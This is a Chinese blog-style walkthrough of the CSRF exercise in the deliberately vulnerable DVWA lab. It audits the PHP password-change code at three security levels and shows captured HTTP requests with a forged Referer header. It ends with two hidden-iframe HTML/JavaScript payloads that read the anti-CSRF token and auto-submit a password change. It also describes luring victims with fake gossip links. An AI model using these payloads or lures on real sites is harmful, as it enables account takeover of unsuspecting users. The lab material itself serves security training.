PHP代码审计DVWA CSRF通关流程

802 阅读4分钟

我正在参与掘金创作者训练营第6期,点击了解活动详情

CSRF

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,

怎么去理解呢首先说一下流程概念

怎么去达到这个攻击效果

  1. 黑客在某博点击了修改用户名称和密码的请求,他把名字改成了流批,密码改成了Nb111111,好输入完后呢,他打开抓包工具抓取了修好用户名称和密码的数据包,他不让数据包发出去,把数据包抓了
  2. 他现在抓到了修改用户为流批和密码为Nb111111的数据包了,下面第二步他就要封装数据包,他把数据包放到了一个1.html的文件里面,然后把这个1.html放到公网的服务器网站上面,
  3. 好了现在把修改用户和和密码的请求包放到了网站上这时候我们把网站1.html的url地址复制下来发送给一些用户
  4. 第四步了,发送给一些用户肯定要伪装一下对不对,我们伪造成一些八卦新闻等等的,发送给一些人,当别人看到这个东西,八卦的心就起来了,就点进去开
  5. 好最后一步了,当用户点开看了,他就会触发1.html,触发修改某博用户名称为流批密码为Nb11111的请求,如果他某博账户是登录状态的,当发送这个请求的时候,某博服务器就会去执行这个请求,把受害者的用户改成了流批密码改成了Nb111111这时候黑客就直接趁虚而入了,直接登录上受害者用户为所欲为了

这就是CSRF的大概攻击的概念流程

LOW

在这里插入图片描述

代码审计

<?php

//if判断
    //isset函数判断非空
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    //获取修改的用户的密码
    //新密码
    $pass_new  = $_GET[ 'password_new' ];
    //确认新密码
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    //判断两次密码是否一样
    if( $pass_new == $pass_conf ) {
        // They do!
        //连接数据库大概
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        //密码进行md5值编码
        $pass_new = md5( $pass_new );

        // Update the database
        //sql语句修改user表里面的password=用户输入的password,条件是user=空
        $insert = "UPDATE `users` SET passwor d = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        //执行sql语句更新数据
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
       //修改成功
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        //密码不匹配
        echo "<pre>Passwords did not match.</pre>";
    }
//断链
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

我们直接输入两个错误的密码获取url

在这里插入图片描述

这就是他的这个url

我们看见新密码是1确认新密码是password

而我们复制这条url

新大开一个页面

把新密码和确认新密码改成password

在这里插入图片描述

直接跳转到修改成功的页面

也就是说这是某博

我按照这样的步骤去弄的话,就能达到CSRF的攻击效果了

Middle

代码审计

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET passwor d = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

Middle类型的代码在Low级别的基础上,加上了对用户请求头的中的Referer字段进行验证

 if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

那么这个呢我们还是用上一个的手段来试试

在这里插入图片描述

我们会发现不行了

不可以了

完蛋蛋了

怎么搞呢

我们想,首先刚刚说了他多了一个Referer字段进行验证

我们不知道这个是什么牛马是不是

没关系

我们先抓一个正常的数据包

正常数据包

GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change HTTP/1.1
Host: 34.125.141.74:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://34.125.14.44/vulnerabilities/csrf/?password_new=1&password_conf=111&Change=Change
Cookie: PHPSESSID=bka9pr82vked08q6cpeaj307l0; security=medium
Upgrade-Insecure-Requests: 1

我们还要抓取刚刚那个不行的数据包

我们再用第一种方法取,复制url重新打开一个页面,然后访问抓取请求的数据包

这就是用第一种方法抓取到的数据包

GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change HTTP/1.1
Host: 34.125.141.74:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=bka9pr82vked08q6cpeaj307l0; security=medium
Upgrade-Insecure-Requests: 1

我们通过对比

发现正常的数据包比非正常的多了个

Referer: http://34.125.14.44/vulnerabilities/csrf/?

联想到刚刚说的

Referer字段进行验证

我们就知道了他验证的就是这个了

那么我们怎么取绕过这个验证呢

很简单

用最简单的方法取试

他没有验证我们就给他加一个验证把正常的数据包的验证复制到非正常的数据包当中

在这里插入图片描述

加进去位置最好不要搞错,正常数据包他的位置在哪里非正常的就是在哪里

然后放掉数据包

在这里插入图片描述

修改成功了

High

代码审计

 <?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET passwor d = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>



这个的话主要改变的地方在于

多了一个token

    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

token的作用可以翻翻暴力破解篇

用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

攻击的办法

<script type="text/javascript"> 
    function attack() {
 
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
   document.getElementById("transfer").submit();   }
</script>
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
 
<body οnlοad="attack()">
 <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
    <input type="hidden" name="password_new" value="password">
    <input type="hidden" name="password_conf" value="password">
    <input type="hidden" name="user_token" value="">
    <input type="hidden" name="Change" value="Change">
 </form>
</body>

这个怎么利用呢

就是

在公网服务器上,然后把这个代码放到一个1.html中,

那么代码中只需要改一下url地址就可以了

改成你当前用的这个地址

由于

    <input type="hidden" name="user_token" value="">

这个值value=是空的他会取获取token值

第二种方法

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <script type="text/javascript">
        //获取用户的token,并设置为表单中的token,然后提交修改密码的表单
        function attack()
        {
            document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
            document.getElementById("transfer").submit();
        }
    </script>
</head>
<body onload="attack()">
    <iframe src="http://192.168.10.14/dvwa/vulnerabilities/csrf/" id="hack"  style="display:none;">  <!--在该网页内打开另一个网页-->
    </iframe>
    <form method="GET" id="transfer"  action="http://192.168.10.14/dvwa/vulnerabilities/csrf/">
        <input type="hidden" name="password_new" value="admin">
        <input type="hidden" name="password_conf" value="admin">
        <input type="hidden" name="user_token" value="">
        <input type="hidden" name="Change" value="Change">
    </form>
</body>
</html>